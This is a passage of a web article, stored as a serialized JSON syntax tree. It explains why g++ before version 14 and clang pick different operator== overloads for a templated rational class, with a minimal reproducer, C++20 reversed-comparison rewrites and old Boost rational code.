",{"type":23,"tag":94,"props":89580,"children":89582},{"className":89581},[],[89583],{"type":28,"value":89584},"rational\u003CT>",{"type":28,"value":89586}," has a templated ",{"type":23,"tag":94,"props":89588,"children":89590},{"className":89589},[],[89591],{"type":28,"value":89507},{"type":28,"value":89593}," member function",{"type":23,"tag":88,"props":89595,"children":89596},{},[89597,89599,89605],{"type":28,"value":89598},"There's also a more generic free ",{"type":23,"tag":94,"props":89600,"children":89602},{"className":89601},[],[89603],{"type":28,"value":89604},"operator==(rational\u003CT>, U)",{"type":28,"value":37463},{"type":23,"tag":24,"props":89607,"children":89608},{},[89609],{"type":23,"tag":721,"props":89610,"children":89611},{},[89612],{"type":28,"value":89613},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":89615,"children":89616},{},[89617],{"type":23,"tag":721,"props":89618,"children":89619},{},[89620],{"type":28,"value":89621},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":89623,"children":89624},{},[89625,89627,89632,89634,89641],{"type":28,"value":89626},"Why? Because G++ mishandles ",{"type":23,"tag":721,"props":89628,"children":89629},{},[89630],{"type":28,"value":89631},"templated conversion + non-exact match",{"type":28,"value":89633},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":31,"props":89635,"children":89638},{"href":89636,"rel":89637},"https://cplusplus.github.io/CWG/issues/532.html",[35],[89639],{"type":28,"value":89640},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":282},{"type":23,"tag":837,"props":89643,"children":89645},{"id":89644},"a-minimal-reproducer",[89646],{"type":28,"value":89647},"A Minimal Reproducer",{"type":23,"tag":24,"props":89649,"children":89650},{},[89651],{"type":28,"value":89652},"Let’s see this in action:",{"type":23,"tag":304,"props":89654,"children":89656},{"code":89655,"language":28360,"meta":7,"className":28358,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[89657],{"type":23,"tag":94,"props":89658,"children":89659},{"__ignoreMap":7},[89660,89673,89680,89705,89721,89729,89753,89798,89826,89841,89848,89855,89862,89898,89967,89992,90007,90014,90021,90037,90062,90086],{"type":23,"tag":314,"props":89661,"children":89662},{"class":316,"line":317},[89663,89668],{"type":23,"tag":314,"props":89664,"children":89665},{"style":2284},[89666],{"type":28,"value":89667},"#include",{"type":23,"tag":314,"props":89669,"children":89670},{"style":1245},[89671],{"type":28,"value":89672}," \u003Ciostream>\n",{"type":23,"tag":314,"props":89674,"children":89675},{"class":316,"line":370},[89676],{"type":23,"tag":314,"props":89677,"children":89678},{"emptyLinePlaceholder":18},[89679],{"type":28,"value":1088},{"type":23,"tag":314,"props":89681,"children":89682},{"class":316,"line":380},[89683,89687,89691,89696,89701],{"type":23,"tag":314,"props":89684,"children":89685},{"style":321},[89686],{"type":28,"value":65469},{"type":23,"tag":314,"props":89688,"children":89689},{"style":338},[89690],{"type":28,"value":7971},{"type":23,"tag":314,"props":89692,"children":89693},{"style":321},[89694],{"type":28,"value":89695},"typename",{"type":23,"tag":314,"props":89697,"children":89698},{"style":2674},[89699],{"type":28,"value":89700}," IntType",{"type":23,"tag":314,"props":89702,"children":89703},{"style":338},[89704],{"type":28,"value":5247},{"type":23,"tag":314,"props":89706,"children":89707},{"class":316,"line":1091},[89708,89712,89717],{"type":23,"tag":314,"props":89709,"children":89710},{"style":321},[89711],{"type":28,"value":69663},{"type":23,"tag":314,"props":89713,"children":89714},{"style":2674},[89715],{"type":28,"value":89716}," rational",{"type":23,"tag":314,"props":89718,"children":89719},{"style":338},[89720],{"type":28,"value":1449},{"type":23,"tag":314,"props":89722,"children":89723},{"class":316,"line":1141},[89724],{"type":23,"tag":314,"props":89725,"children":89726},{"style":321},[89727],{"type":28,"value":89728},"public:\n",{"type":23,"tag":314,"props":89730,"children":89731},{"class":316,"line":1173},[89732,89737,89741,89745,89749],{"type":23,"tag":314,"props":89733,"children":89734},{"style":321},[89735],{"type":28,"value":89736}," template",{"type":23,"tag":314,"props":89738,"children":89739},{"style":338},[89740],{"type":28,"value":7971},{"type":23,"tag":314,"props":89742,"children":89743},{"style":321},[89744],{"type":28,"value":69663},{"type":23,"tag":314,"props":89746,"children":89747},{"style":2674},[89748],{"type":28,"value":5173},{"type":23,"tag":314,"props":89750,"children":89751},{"style":338},[89752],{"type":28,"value":5247},{"type":23,"tag":314,"props":89754,"children":89755},{"class":316,"line":1208},[89756,89760,89765,89770,89774,89778,89782,89786,89790,89794],{"type":23,"tag":314,"props":89757,"children":89758},{"style":321},[89759],{"type":28,"value":45722},{"type":23,"tag":314,"props":89761,"children":89762},{"style":321},[89763],{"type":28,"value":89764}," operator",{"type":23,"tag":314,"props":89766,"children":89767},{"style":338},[89768],{"type":28,"value":89769},"==(",{"type":23,"tag":314,"props":89771,"children":89772},{"style":321},[89773],{"type":28,"value":346},{"type":23,"tag":314,"props":89775,"children":89776},{"style":2674},[89777],{"type":28,"value":5173},{"type":23,"tag":314,"props":89779,"children":89780},{"style":321},[89781],{"type":28,"value":1833},{"type":23,"tag":314,"props":89783,"children":89784},{"style":360},[89785],{"type":28,"value":2653},{"type":23,"tag":314,"props":89787,"children":89788},{"style":338},[89789],{"type":28,"value":2343},{"type":23,"tag":314,"props":89791,"children":89792},{"style":321},[89793],{"type":28,"value":346},{"type":23,"tag":314,"props":89795,"children":89796},{"style":338},[89797],{"type":28,"value":1449},{"type":23,"tag":314,"props":89799,"children":89800},{"class":316,"line":1216},[89801,89806,89811,89816,89821],{"type":23,"tag":314,"props":89802,"children":89803},{"style":338},[89804],{"type":28,"value":89805}," std::cout ",{"type":23,"tag":314,"props":89807,"children":89808},{"style":354},[89809],{"type":28,"value":89810},"\u003C\u003C",{"type":23,"tag":314,"props":89812,"children":89813},{"style":1245},[89814],{"type":28,"value":89815}," \"clang++ resolved member\"",{"type":23,"tag":314,"props":89817,"children":89818},{"style":354},[89819],{"type":28,"value":89820}," \u003C\u003C",{"type":23,"tag":314,"props":89822,"children":89823},{"style":338},[89824],{"type":28,"value":89825}," std::endl;\n",{"type":23,"tag":314,"props":89827,"children":89828},{"class":316,"line":1301},[89829,89833,89837],{"type":23,"tag":314,"props":89830,"children":89831},{"style":2284},[89832],{"type":28,"value":14985},{"type":23,"tag":314,"props":89834,"children":89835},{"style":321},[89836],{"type":28,"value":11717},{"type":23,"tag":314,"props":89838,"children":89839},{"style":338},[89840],{"type":28,"value":2278},{"type":23,"tag":314,"props":89842,"children":89843},{"class":316,"line":1343},[89844],{"type":23,"tag":314,"props":89845,"children":89846},{"style":338},[89847],{"type":28,"value":2610},{"type":23,"tag":314,"props":89849,"children":89850},{"class":316,"line":1351},[89851],{"type":23,"tag":314,"props":89852,"children":89853},{"style":338},[89854],{"type":28,"value":1545},{"type":23,"tag":314,"props":89856,"children":89857},{"class":316,"line":1387},[89858],{"type":23,"tag":314,"props":89859,"children":89860},{"emptyLinePlaceholder":18},[89861],{"type":28,"value":1088},{"type":23,"tag":314,"props":89863,"children":89864},{"class":316,"line":1422},[89865,89869,89873,89877,89882,89886,89890,89894],{"type":23,"tag":314,"props":89866,"children":89867},{"style":321},[89868],{"type":28,"value":65469},{"type":23,"tag":314,"props":89870,"children":89871},{"style":338},[89872],{"type":28,"value":7971},{"type":23,"tag":314,"props":89874,"children":89875},{"style":321},[89876],{"type":28,"value":69663},{"type":23,"tag":314,"props":89878,"children":89879},{"style":2674},[89880],{"type":28,"value":89881}," Arg",{"type":23,"tag":314,"props":89883,"children":89884},{"style":338},[89885],{"type":28,"value":778},{"type":23,"tag":314,"props":89887,"children":89888},{"style":321},[89889],{"type":28,"value":69663},{"type":23,"tag":314,"props":89891,"children":89892},{"style":2674},[89893],{"type":28,"value":89700},{"type":23,"tag":314,"props":89895,"children":89896},{"style":338},[89897],{"type":28,"value":5247},{"type":23,"tag":314,"props":89899,"children":89900},{"class":316,"line":1430},[89901,89905,89909,89913,89917,89921,89925,89930,89934,89938,89942,89946,89950,89954,89958,89963],{"type":23,"tag":314,"props":89902,"children":89903},{"style":321},[89904],{"type":28,"value":28934},{"type":23,"tag":314,"props":89906,"children":89907},{"style":321},[89908],{"type":28,"value":89764},{"type":23,"tag":314,"props":89910,"children":89911},{"style":338},[89912],{"type":28,"value":89769},{"type":23,"tag":314,"props":89914,"children":89915},{"style":321},[89916],{"type":28,"value":346},{"type":23,"tag":314,"props":89918,"children":89919},{"style":2674},[89920],{"type":28,"value":89716},{"type":23,"tag":314,"props":89922,"children":89923},{"style":338},[89924],{"type":28,"value":5060},{"type":23,"tag":314,"props":89926,"children":89927},{"style":2674},[89928],{"type":28,"value":89929},"IntType",{"type":23,"tag":314,"props":89931,"children":89932},{"style":338},[89933],{"type":28,"value":9710},{"type":23,"tag":314,"props":89935,"children":89936},{"style":321},[89937],{"type":28,"value":1833},{"type":23,"tag":314,"props":89939,"children":89940},{"style":360},[89941],{"type":28,"value":89088},{"type":23,"tag":314,"props":89943,"children":89944},{"style":338},[89945],{"type":28,"value":778},{"type":23,"tag":314,"props":89947,"children":89948},{"style":321},[89949],{"type":28,"value":346},{"type":23,"tag":314,"props":89951,"children":89952},{"style":2674},[89953],{"type":28,"value":89881},{"type":23,"tag":314,"props":89955,"children":89956},{"style":321},[89957],{"type":28,"value":1833},{"type":23,"tag":314,"props":89959,"children":89960},{"style":360},[89961],{"type":28,"value":89962}," b",{"type":23,"tag":314,"props":89964,"children":89965},{"style":338},[89966],{"type":28,"value":367},{"type":23,"tag":314,"props":89968,"children":89969},{"class":316,"line":1452},[89970,89975,89979,89984,89988],{"type":23,"tag":314,"props":89971,"children":89972},{"style":338},[89973],{"type":28,"value":89974}," std::cout ",{"type":23,"tag":314,"props":89976,"children":89977},{"style":354},[89978],{"type":28,"value":89810},{"type":23,"tag":314,"props":89980,"children":89981},{"style":1245},[89982],{"type":28,"value":89983}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":314,"props":89985,"children":89986},{"style":354},[89987],{"type":28,"value":89820},{"type":23,"tag":314,"props":89989,"children":89990},{"style":338},[89991],{"type":28,"value":89825},{"type":23,"tag":314,"props":89993,"children":89994},{"class":316,"line":1497},[89995,89999,90003],{"type":23,"tag":314,"props":89996,"children":89997},{"style":2284},[89998],{"type":28,"value":16228},{"type":23,"tag":314,"props":90000,"children":90001},{"style":321},[90002],{"type":28,"value":8309},{"type":23,"tag":314,"props":90004,"children":90005},{"style":338},[90006],{"type":28,"value":2278},{"type":23,"tag":314,"props":90008,"children":90009},{"class":316,"line":1539},[90010],{"type":23,"tag":314,"props":90011,"children":90012},{"style":338},[90013],{"type":28,"value":386},{"type":23,"tag":314,"props":90015,"children":90016},{"class":316,"line":1548},[90017],{"type":23,"tag":314,"props":90018,"children":90019},{"emptyLinePlaceholder":18},[90020],{"type":28,"value":1088},{"type":23,"tag":314,"props":90022,"children":90023},{"class":316,"line":1584},[90024,90028,90033],{"type":23,"tag":314,"props":90025,"children":90026},{"style":321},[90027],{"type":28,"value":18285},{"type":23,"tag":314,"props":90029,"children":90030},{"style":332},[90031],{"type":28,"value":90032}," main",{"type":23,"tag":314,"props":90034,"children":90035},{"style":338},[90036],{"type":28,"value":14977},{"type":23,"tag":314,"props":90038,"children":90039},{"class":316,"line":1617},[90040,90045,90049,90053,90057],{"type":23,"tag":314,"props":90041,"children":90042},{"style":338},[90043],{"type":28,"value":90044}," rational",{"type":23,"tag":314,"props":90046,"children":90047},{"style":354},[90048],{"type":28,"value":5060},{"type":23,"tag":314,"props":90050,"children":90051},{"style":321},[90052],{"type":28,"value":18285},{"type":23,"tag":314,"props":90054,"children":90055},{"style":354},[90056],{"type":28,"value":9710},{"type":23,"tag":314,"props":90058,"children":90059},{"style":338},[90060],{"type":28,"value":90061}," r;\n",{"type":23,"tag":314,"props":90063,"children":90064},{"class":316,"line":1625},[90065,90069,90074,90078,90082],{"type":23,"tag":314,"props":90066,"children":90067},{"style":2284},[90068],{"type":28,"value":16228},{"type":23,"tag":314,"props":90070,"children":90071},{"style":338},[90072],{"type":28,"value":90073}," r ",{"type":23,"tag":314,"props":90075,"children":90076},{"style":354},[90077],{"type":28,"value":7828},{"type":23,"tag":314,"props":90079,"children":90080},{"style":1054},[90081],{"type":28,"value":1201},{"type":23,"tag":314,"props":90083,"children":90084},{"style":338},[90085],{"type":28,"value":2278},{"type":23,"tag":314,"props":90087,"children":90088},{"class":316,"line":1660},[90089],{"type":23,"tag":314,"props":90090,"children":90091},{"style":338},[90092],{"type":28,"value":386},{"type":23,"tag":127,"props":90094,"children":90095},{},[90096],{"type":23,"tag":88,"props":90097,"children":90098},{},[90099],{"type":28,"value":90100},"Compile with g++\u003C14:",{"type":23,"tag":304,"props":90102,"children":90104},{"code":90103,"language":3498,"meta":7,"className":3499,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[90105],{"type":23,"tag":94,"props":90106,"children":90107},{"__ignoreMap":7},[90108],{"type":23,"tag":314,"props":90109,"children":90110},{"class":316,"line":317},[90111,90116,90121,90126,90131,90135,90140],{"type":23,"tag":314,"props":90112,"children":90113},{"style":332},[90114],{"type":28,"value":90115},"g++",{"type":23,"tag":314,"props":90117,"children":90118},{"style":1245},[90119],{"type":28,"value":90120}," -std=c++17",{"type":23,"tag":314,"props":90122,"children":90123},{"style":1245},[90124],{"type":28,"value":90125}," main.cpp",{"type":23,"tag":314,"props":90127,"children":90128},{"style":1245},[90129],{"type":28,"value":90130}," -o",{"type":23,"tag":314,"props":90132,"children":90133},{"style":1245},[90134],{"type":28,"value":29927},{"type":23,"tag":314,"props":90136,"children":90137},{"style":338},[90138],{"type":28,"value":90139}," && ",{"type":23,"tag":314,"props":90141,"children":90142},{"style":332},[90143],{"type":28,"value":90144},"./test\n",{"type":23,"tag":24,"props":90146,"children":90147},{},[90148],{"type":28,"value":90149},"Output (on g++ 11.4):",{"type":23,"tag":304,"props":90151,"children":90153},{"code":90152},"g++ \u003C14 resolved non-member\n",[90154],{"type":23,"tag":94,"props":90155,"children":90156},{"__ignoreMap":7},[90157],{"type":28,"value":90152},{"type":23,"tag":127,"props":90159,"children":90160},{},[90161],{"type":23,"tag":88,"props":90162,"children":90163},{},[90164],{"type":28,"value":90165},"Compile with clang++:",{"type":23,"tag":304,"props":90167,"children":90169},{"code":90168,"language":3498,"meta":7,"className":3499,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[90170],{"type":23,"tag":94,"props":90171,"children":90172},{"__ignoreMap":7},[90173],{"type":23,"tag":314,"props":90174,"children":90175},{"class":316,"line":317},[90176,90181,90185,90189,90193,90197,90201],{"type":23,"tag":314,"props":90177,"children":90178},{"style":332},[90179],{"type":28,"value":90180},"clang++",{"type":23,"tag":314,"props":90182,"children":90183},{"style":1245},[90184],{"type":28,"value":90120},{"type":23,"tag":314,"props":90186,"children":90187},{"style":1245},[90188],{"type":28,"value":90125},{"type":23,"tag":314,"props":90190,"children":90191},{"style":1245},[90192],{"type":28,"value":90130},{"type":23,"tag":314,"props":90194,"children":90195},{"style":1245},[90196],{"type":28,"value":29927},{"type":23,"tag":314,"props":90198,"children":90199},{"style":338},[90200],{"type":28,"value":90139},{"type":23,"tag":314,"props":90202,"children":90203},{"style":332},[90204],{"type":28,"value":90144},{"type":23,"tag":24,"props":90206,"children":90207},{},[90208],{"type":28,"value":90209},"Output:",{"type":23,"tag":304,"props":90211,"children":90213},{"code":90212},"clang++ resolved member\n",[90214],{"type":23,"tag":94,"props":90215,"children":90216},{"__ignoreMap":7},[90217],{"type":28,"value":90212},{"type":23,"tag":24,"props":90219,"children":90220},{},[90221],{"type":28,"value":90222},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":18031,"props":90224,"children":90225},{},[],{"type":23,"tag":61,"props":90227,"children":90229},{"id":90228},"part-ii-c20s-symmetric-comparison-feature",[90230],{"type":28,"value":90231},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":837,"props":90233,"children":90235},{"id":90234},"what-changed-in-c20",[90236],{"type":28,"value":90237},"What Changed in C++20?",{"type":23,"tag":24,"props":90239,"children":90240},{},[90241,90243,90256,90257,90262],{"type":28,"value":90242},"C++20 introduced the ",{"type":23,"tag":31,"props":90244,"children":90247},{"href":90245,"rel":90246},"https://en.cppreference.com/w/cpp/language/operator_comparison",[35],[90248,90250],{"type":28,"value":90249},"spaceship operator ",{"type":23,"tag":94,"props":90251,"children":90253},{"className":90252},[],[90254],{"type":28,"value":90255},"\u003C=>",{"type":28,"value":557},{"type":23,"tag":721,"props":90258,"children":90259},{},[90260],{"type":28,"value":90261},"defaulted comparison rewrites",{"type":28,"value":282},{"type":23,"tag":24,"props":90264,"children":90265},{},[90266,90268,90273],{"type":28,"value":90267},"When you define a two-argument ",{"type":23,"tag":94,"props":90269,"children":90271},{"className":90270},[],[90272],{"type":28,"value":89507},{"type":28,"value":90274},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":127,"props":90276,"children":90277},{},[90278,90289],{"type":23,"tag":88,"props":90279,"children":90280},{},[90281,90283],{"type":28,"value":90282},"If you define: ",{"type":23,"tag":94,"props":90284,"children":90286},{"className":90285},[],[90287],{"type":28,"value":90288},"bool operator==(T1, T2);",{"type":23,"tag":88,"props":90290,"children":90291},{},[90292,90294,90300],{"type":28,"value":90293},"Then ",{"type":23,"tag":94,"props":90295,"children":90297},{"className":90296},[],[90298],{"type":28,"value":90299},"T2 == T1",{"type":28,"value":90301}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":90303,"children":90304},{},[90305,90307,90312,90313,90318,90320,90326,90328,90333],{"type":28,"value":90306},"This rewrite is ",{"type":23,"tag":721,"props":90308,"children":90309},{},[90310],{"type":28,"value":90311},"recursive",{"type":28,"value":14573},{"type":23,"tag":94,"props":90314,"children":90316},{"className":90315},[],[90317],{"type":28,"value":89499},{"type":28,"value":90319}," becomes ",{"type":23,"tag":94,"props":90321,"children":90323},{"className":90322},[],[90324],{"type":28,"value":90325},"b == a",{"type":28,"value":90327},", which becomes ",{"type":23,"tag":94,"props":90329,"children":90331},{"className":90330},[],[90332],{"type":28,"value":89499},{"type":28,"value":90334}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":90336,"children":90337},{},[90338],{"type":28,"value":90339},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":18031,"props":90341,"children":90342},{},[],{"type":23,"tag":61,"props":90344,"children":90346},{"id":90345},"part-iii-the-boost-trapdoor",[90347],{"type":28,"value":90348},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":90350,"children":90351},{},[90352,90354,90360,90362,90367],{"type":28,"value":90353},"The old Boost ",{"type":23,"tag":94,"props":90355,"children":90357},{"className":90356},[],[90358],{"type":28,"value":90359},"rational",{"type":28,"value":90361}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":94,"props":90363,"children":90365},{"className":90364},[],[90366],{"type":28,"value":89507},{"type":28,"value":3746},{"type":23,"tag":304,"props":90369,"children":90371},{"code":90370,"language":28360,"meta":7,"className":28358,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[90372],{"type":23,"tag":94,"props":90373,"children":90374},{"__ignoreMap":7},[90375,90410,90433,90445,90452,90459,90466,90473,90480,90503,90591,90598,90649,90656,90663,90670,90677,90712,90720,90748,90787,90852,90859,90879],{"type":23,"tag":314,"props":90376,"children":90377},{"class":316,"line":317},[90378,90382,90386,90390,90394,90398,90402,90406],{"type":23,"tag":314,"props":90379,"children":90380},{"style":321},[90381],{"type":28,"value":65469},{"type":23,"tag":314,"props":90383,"children":90384},{"style":338},[90385],{"type":28,"value":7971},{"type":23,"tag":314,"props":90387,"children":90388},{"style":321},[90389],{"type":28,"value":69663},{"type":23,"tag":314,"props":90391,"children":90392},{"style":2674},[90393],{"type":28,"value":89881},{"type":23,"tag":314,"props":90395,"children":90396},{"style":338},[90397],{"type":28,"value":778},{"type":23,"tag":314,"props":90399,"children":90400},{"style":321},[90401],{"type":28,"value":69663},{"type":23,"tag":314,"props":90403,"children":90404},{"style":2674},[90405],{"type":28,"value":89700},{"type":23,"tag":314,"props":90407,"children":90408},{"style":338},[90409],{"type":28,"value":5247},{"type":23,"tag":314,"props":90411,"children":90412},{"class":316,"line":370},[90413,90417,90421,90425,90429],{"type":23,"tag":314,"props":90414,"children":90415},{"style":321},[90416],{"type":28,"value":65469},{"type":23,"tag":314,"props":90418,"children":90419},{"style":338},[90420],{"type":28,"value":7971},{"type":23,"tag":314,"props":90422,"children":90423},{"style":321},[90424],{"type":28,"value":89695},{"type":23,"tag":314,"props":90426,"children":90427},{"style":2674},[90428],{"type":28,"value":89700},{"type":23,"tag":314,"props":90430,"children":90431},{"style":338},[90432],{"type":28,"value":5247},{"type":23,"tag":314,"props":90434,"children":90435},{"class":316,"line":380},[90436,90440],{"type":23,"tag":314,"props":90437,"children":90438},{"style":321},[90439],{"type":28,"value":69663},{"type":23,"tag":314,"props":90441,"children":90442},{"style":2674},[90443],{"type":28,"value":90444}," rational\n",{"type":23,"tag":314,"props":90446,"children":90447},{"class":316,"line":1091},[90448],{"type":23,"tag":314,"props":90449,"children":90450},{"style":338},[90451],{"type":28,"value":10129},{"type":23,"tag":314,"props":90453,"children":90454},{"class":316,"line":1141},[90455],{"type":23,"tag":314,"props":90456,"children":90457},{"style":338},[90458],{"type":28,"value":19577},{"type":23,"tag":314,"props":90460,"children":90461},{"class":316,"line":1173},[90462],{"type":23,"tag":314,"props":90463,"children":90464},{"style":321},[90465],{"type":28,"value":89728},{"type":23,"tag":314,"props":90467,"children":90468},{"class":316,"line":1208},[90469],{"type":23,"tag":314,"props":90470,"children":90471},{"style":338},[90472],{"type":28,"value":19577},{"type":23,"tag":314,"props":90474,"children":90475},{"class":316,"line":1216},[90476],{"type":23,"tag":314,"props":90477,"children":90478},{"style":338},[90479],{"type":28,"value":61038},{"type":23,"tag":314,"props":90481,"children":90482},{"class":316,"line":1301},[90483,90487,90491,90495,90499],{"type":23,"tag":314,"props":90484,"children":90485},{"style":321},[90486],{"type":28,"value":89736},{"type":23,"tag":314,"props":90488,"children":90489},{"style":338},[90490],{"type":28,"value":7971},{"type":23,"tag":314,"props":90492,"children":90493},{"style":321},[90494],{"type":28,"value":69663},{"type":23,"tag":314,"props":90496,"children":90497},{"style":2674},[90498],{"type":28,"value":5173},{"type":23,"tag":314,"props":90500,"children":90501},{"style":338},[90502],{"type":28,"value":5247},{"type":23,"tag":314,"props":90504,"children":90505},{"class":316,"line":1343},[90506,90511,90515,90520,90524,90528,90532,90537,90541,90545,90549,90553,90557,90561,90566,90570,90574,90578,90582,90586],{"type":23,"tag":314,"props":90507,"children":90508},{"style":338},[90509],{"type":28,"value":90510}," BOOST_CONSTEXPR ",{"type":23,"tag":314,"props":90512,"children":90513},{"style":321},[90514],{"type":28,"value":89695},{"type":23,"tag":314,"props":90516,"children":90517},{"style":338},[90518],{"type":28,"value":90519}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":314,"props":90521,"children":90522},{"style":2674},[90523],{"type":28,"value":5242},{"type":23,"tag":314,"props":90525,"children":90526},{"style":338},[90527],{"type":28,"value":778},{"type":23,"tag":314,"props":90529,"children":90530},{"style":2674},[90531],{"type":28,"value":89929},{"type":23,"tag":314,"props":90533,"children":90534},{"style":338},[90535],{"type":28,"value":90536},">::",{"type":23,"tag":314,"props":90538,"children":90539},{"style":2674},[90540],{"type":28,"value":38399},{"type":23,"tag":314,"props":90542,"children":90543},{"style":338},[90544],{"type":28,"value":778},{"type":23,"tag":314,"props":90546,"children":90547},{"style":321},[90548],{"type":28,"value":28934},{"type":23,"tag":314,"props":90550,"children":90551},{"style":338},[90552],{"type":28,"value":90536},{"type":23,"tag":314,"props":90554,"children":90555},{"style":2674},[90556],{"type":28,"value":32004},{"type":23,"tag":314,"props":90558,"children":90559},{"style":321},[90560],{"type":28,"value":89764},{"type":23,"tag":314,"props":90562,"children":90563},{"style":338},[90564],{"type":28,"value":90565},"== (",{"type":23,"tag":314,"props":90567,"children":90568},{"style":321},[90569],{"type":28,"value":346},{"type":23,"tag":314,"props":90571,"children":90572},{"style":2674},[90573],{"type":28,"value":5173},{"type":23,"tag":314,"props":90575,"children":90576},{"style":321},[90577],{"type":28,"value":1833},{"type":23,"tag":314,"props":90579,"children":90580},{"style":360},[90581],{"type":28,"value":2653},{"type":23,"tag":314,"props":90583,"children":90584},{"style":338},[90585],{"type":28,"value":2343},{"type":23,"tag":314,"props":90587,"children":90588},{"style":321},[90589],{"type":28,"value":90590},"const\n",{"type":23,"tag":314,"props":90592,"children":90593},{"class":316,"line":1351},[90594],{"type":23,"tag":314,"props":90595,"children":90596},{"style":338},[90597],{"type":28,"value":28435},{"type":23,"tag":314,"props":90599,"children":90600},{"class":316,"line":1387},[90601,90606,90611,90615,90619,90623,90627,90631,90635,90640,90644],{"type":23,"tag":314,"props":90602,"children":90603},{"style":2284},[90604],{"type":28,"value":90605}," return",{"type":23,"tag":314,"props":90607,"children":90608},{"style":338},[90609],{"type":28,"value":90610}," ((den ",{"type":23,"tag":314,"props":90612,"children":90613},{"style":354},[90614],{"type":28,"value":7828},{"type":23,"tag":314,"props":90616,"children":90617},{"style":332},[90618],{"type":28,"value":89700},{"type":23,"tag":314,"props":90620,"children":90621},{"style":338},[90622],{"type":28,"value":341},{"type":23,"tag":314,"props":90624,"children":90625},{"style":1054},[90626],{"type":28,"value":3267},{"type":23,"tag":314,"props":90628,"children":90629},{"style":338},[90630],{"type":28,"value":8089},{"type":23,"tag":314,"props":90632,"children":90633},{"style":354},[90634],{"type":28,"value":72449},{"type":23,"tag":314,"props":90636,"children":90637},{"style":338},[90638],{"type":28,"value":90639}," (num ",{"type":23,"tag":314,"props":90641,"children":90642},{"style":354},[90643],{"type":28,"value":7828},{"type":23,"tag":314,"props":90645,"children":90646},{"style":338},[90647],{"type":28,"value":90648}," i));\n",{"type":23,"tag":314,"props":90650,"children":90651},{"class":316,"line":1422},[90652],{"type":23,"tag":314,"props":90653,"children":90654},{"style":338},[90655],{"type":28,"value":2610},{"type":23,"tag":314,"props":90657,"children":90658},{"class":316,"line":1430},[90659],{"type":23,"tag":314,"props":90660,"children":90661},{"style":338},[90662],{"type":28,"value":19577},{"type":23,"tag":314,"props":90664,"children":90665},{"class":316,"line":1452},[90666],{"type":23,"tag":314,"props":90667,"children":90668},{"style":338},[90669],{"type":28,"value":386},{"type":23,"tag":314,"props":90671,"children":90672},{"class":316,"line":1497},[90673],{"type":23,"tag":314,"props":90674,"children":90675},{"emptyLinePlaceholder":18},[90676],{"type":28,"value":1088},{"type":23,"tag":314,"props":90678,"children":90679},{"class":316,"line":1539},[90680,90684,90688,90692,90696,90700,90704,90708],{"type":23,"tag":314,"props":90681,"children":90682},{"style":321},[90683],{"type":28,"value":65469},{"type":23,"tag":314,"props":90685,"children":90686},{"style":338},[90687],{"type":28,"value":7971},{"type":23,"tag":314,"props":90689,"children":90690},{"style":321},[90691],{"type":28,"value":69663},{"type":23,"tag":314,"props":90693,"children":90694},{"style":2674},[90695],{"type":28,"value":89881},{"type":23,"tag":314,"props":90697,"children":90698},{"style":338},[90699],{"type":28,"value":778},{"type":23,"tag":314,"props":90701,"children":90702},{"style":321},[90703],{"type":28,"value":69663},{"type":23,"tag":314,"props":90705,"children":90706},{"style":2674},[90707],{"type":28,"value":89700},{"type":23,"tag":314,"props":90709,"children":90710},{"style":338},[90711],{"type":28,"value":5247},{"type":23,"tag":314,"props":90713,"children":90714},{"class":316,"line":1548},[90715],{"type":23,"tag":314,"props":90716,"children":90717},{"style":338},[90718],{"type":28,"value":90719},"BOOST_CONSTEXPR\n",{"type":23,"tag":314,"props":90721,"children":90722},{"class":316,"line":1584},[90723,90728,90733,90738,90743],{"type":23,"tag":314,"props":90724,"children":90725},{"style":321},[90726],{"type":28,"value":90727},"inline",{"type":23,"tag":314,"props":90729,"children":90730},{"style":321},[90731],{"type":28,"value":90732}," typename",{"type":23,"tag":314,"props":90734,"children":90735},{"style":338},[90736],{"type":28,"value":90737}," boost::",{"type":23,"tag":314,"props":90739,"children":90740},{"style":2674},[90741],{"type":28,"value":90742},"enable_if_c",{"type":23,"tag":314,"props":90744,"children":90745},{"style":354},[90746],{"type":28,"value":90747}," \u003C\n",{"type":23,"tag":314,"props":90749,"children":90750},{"class":316,"line":1617},[90751,90756,90761,90765,90769,90774,90778,90782],{"type":23,"tag":314,"props":90752,"children":90753},{"style":338},[90754],{"type":28,"value":90755}," 